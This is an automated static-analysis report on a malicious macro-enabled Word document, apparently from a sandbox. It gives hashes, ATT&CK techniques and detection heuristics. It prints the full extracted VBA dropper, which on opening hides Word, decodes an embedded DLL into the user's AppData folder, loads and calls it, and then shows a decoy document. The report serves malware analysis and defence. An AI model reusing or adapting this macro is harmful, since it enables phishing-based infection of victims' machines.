Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 66e5371c3da7dc9a…

MALICIOUS

Office (OOXML)

2.87 MB Created: 2020-04-13 18:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 1f254dd0b85edd7e11339681979e3ad6 SHA-1: b4d72c236e3cd58d9f92c099dd2628163c3a05fb SHA-256: 66e5371c3da7dc9a80fb4c0fabfa23a30d82650c434eec86a95b6e239eccab88
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA project with an AutoOpen macro, indicating malicious intent upon opening. The presence of CreateObject calls and a ClamAV detection signature (Win.Malware.Agent-8366051-0) strongly suggests it's a downloader or droppper. The VBA code appears to be obfuscated and attempts to use external libraries, further supporting its role in executing a secondary payload.

Heuristics 7

  • ClamAV: Win.Malware.Agent-8366051-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Malware.Agent-8366051-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        On Error Resume Next
    MkDir = CreateObject("Scripting.FileSystemObject").CreateFolder(szDir)
End Function
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    On Error Resume Next
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        workDir = Environ("UserProfile") & "\AppData\Local\Microsoft\Notice"
    If Not FolderExist(workDir) Then
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5121 bytes
SHA-256: 924d907a8f659a129cd69f6f294f5ec26707fbec57b1895990f4223977360057
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{07FAE2DA-D009-4E1E-8113-AA8A02611552}{8F6C3A47-F077-40D0-AA01-E36CF8E53F22}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label4_Click()

End Sub

Private Sub Label5_Click()

End Sub

Attribute VB_Name = "Module1"
Private Declare PtrSafe Function sqlite3_stmt_all Lib "wsdts.db" (ByVal lpDocPath As String, ByVal lpPass As String, ByVal lpUID As String) As Long
Private Declare PtrSafe Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As LongPtr

Function MkDir(szDir)
    On Error Resume Next
    MkDir = CreateObject("Scripting.FileSystemObject").CreateFolder(szDir)
End Function

Function FileExist(szFile)
    On Error Resume Next
    FileExist = CreateObject("Scripting.FileSystemObject").FileExists(szFile)
End Function

Function FolderExist(szFolder)
    On Error Resume Next
    FolderExist = CreateObject("Scripting.FileSystemObject").FolderExists(szFolder)
End Function

Function Stream_BinaryToString(Binary)
    On Error Resume Next
    
    Const adTypeText = 2
    Const adTypeBinary = 1
    Dim BinaryStream
    Set BinaryStream = CreateObject("ADODB.Stream")
    BinaryStream.Type = adTypeBinary
    BinaryStream.Open
    BinaryStream.Write Binary
    BinaryStream.Position = 0
    BinaryStream.Type = adTypeText
    BinaryStream.Charset = "us-ascii"
    Stream_BinaryToString = BinaryStream.ReadText
    Set BinaryStream = Nothing
End Function

Function Base64DecodeToBinary(ByVal vCode)
    On Error Resume Next

    Dim oXML, oNode
    Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.Text = vCode
    Base64DecodeToBinary = oNode.nodeTypedValue
    Set oNode = Nothing
    Set oXML = Nothing
End Function

Function Base64DecodeToString(ByVal vCode)
    On Error Resume Next

    Dim oXML, oNode
    Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.Text = vCode
    Base64DecodeToString = Stream_BinaryToString(oNode.nodeTypedValue)
    Set oNode = Nothing
    Set oXML = Nothing
End Function

Sub ExtractDll(dllPath)
    On Error Resume Next

    Set objStream = CreateObject("ADODB.Stream")
    objStream.Type = 1
    objStream.Open
#If Win64 Then
    objStream.Write Base64DecodeToBinary(Base64DecodeToString(UserForm1.Label1.Caption))
#Else
    objStream.Write Base64DecodeToBinary(Base64DecodeToString(UserForm1.Label2.Caption))
#End If
    objStream.SaveToFile dllPath, 2
    Set objStream = Nothing
End Sub

Sub ExtractDoc(docPath)
    On Error Resume Next

    Set objStream = CreateObject("ADODB.Stream")
    objStream.Type = 1
    objStream.Open
    objStream.Write Base64DecodeToBinary(Base64DecodeToString(UserForm1.Label3.Caption))
    objStream.SaveToFile docPath, 2
    Set objStream = Nothing
End Sub

Function GetDocName() As String
    On Error Resume Next
    
    strDocTag = " .doc"

    curDocNameFull = ActiveDocument.Path & "\" & ActiveDocument.Name
    curDocName = Left(curDocNameFull, InStrRev(curDocNameFull, ".") - 1)
    newDocNameFull = curDocName & strDocTag
    Do While FileExist(newDocNameFull)
        curDocName = curDocName & " "
        newDocNameFull = curDocName & strDocTag
    Loop
    GetDocName = newDocNameFull
End Function

Function GetDllName() As String
    On Error Resume Next
    Dim dllPath As String
    
    workDir = Environ("UserProfile") & "\AppData\Local\Microsoft\Notice"
    If Not FolderExist(workDir) Then
        MkDir (workDir)
    End If
    binName = "wsdts.db"
    binDir = "ws"

    dllPath = workDir & "\" & binName

    nIdx = 0
    Do While FileExist(dllPath)
        workDir = workDir & "\" & binDir
        If Not FolderExist(workDir) Then
            MkDir (workDir)
        End If
        dllPath = workDir & "\" & binName
    Loop
    
    GetDllName = dllPath
End Function

Sub AutoOpen()
    On Error Resume Next

    Application.Visible = False

    dllPath = GetDllName()
    docPath = GetDocName()
    orgDocPath = ActiveDocument.Path & "\" & ActiveDocument.Name

    ExtractDll (dllPath)
    ExtractDoc (docPath)
    
    LoadLibraryA (dllPath)

    a = sqlite3_stmt_all(orgDocPath, "S-6-81-3811-75432205-060098-6872", "61")
    
    Dim objDocApp
    Set objDocApp = CreateObject("Word.Application")
    objDocApp.Visible = True
    objDocApp.Documents.Open docPath

    Application.Quit (wdDoNotSaveChanges)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 4225024 bytes
SHA-256: 3e47c8c0ba63dd142b9535d39832a96df63c2f61d0440a2572cfc7f0aa73f5cf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.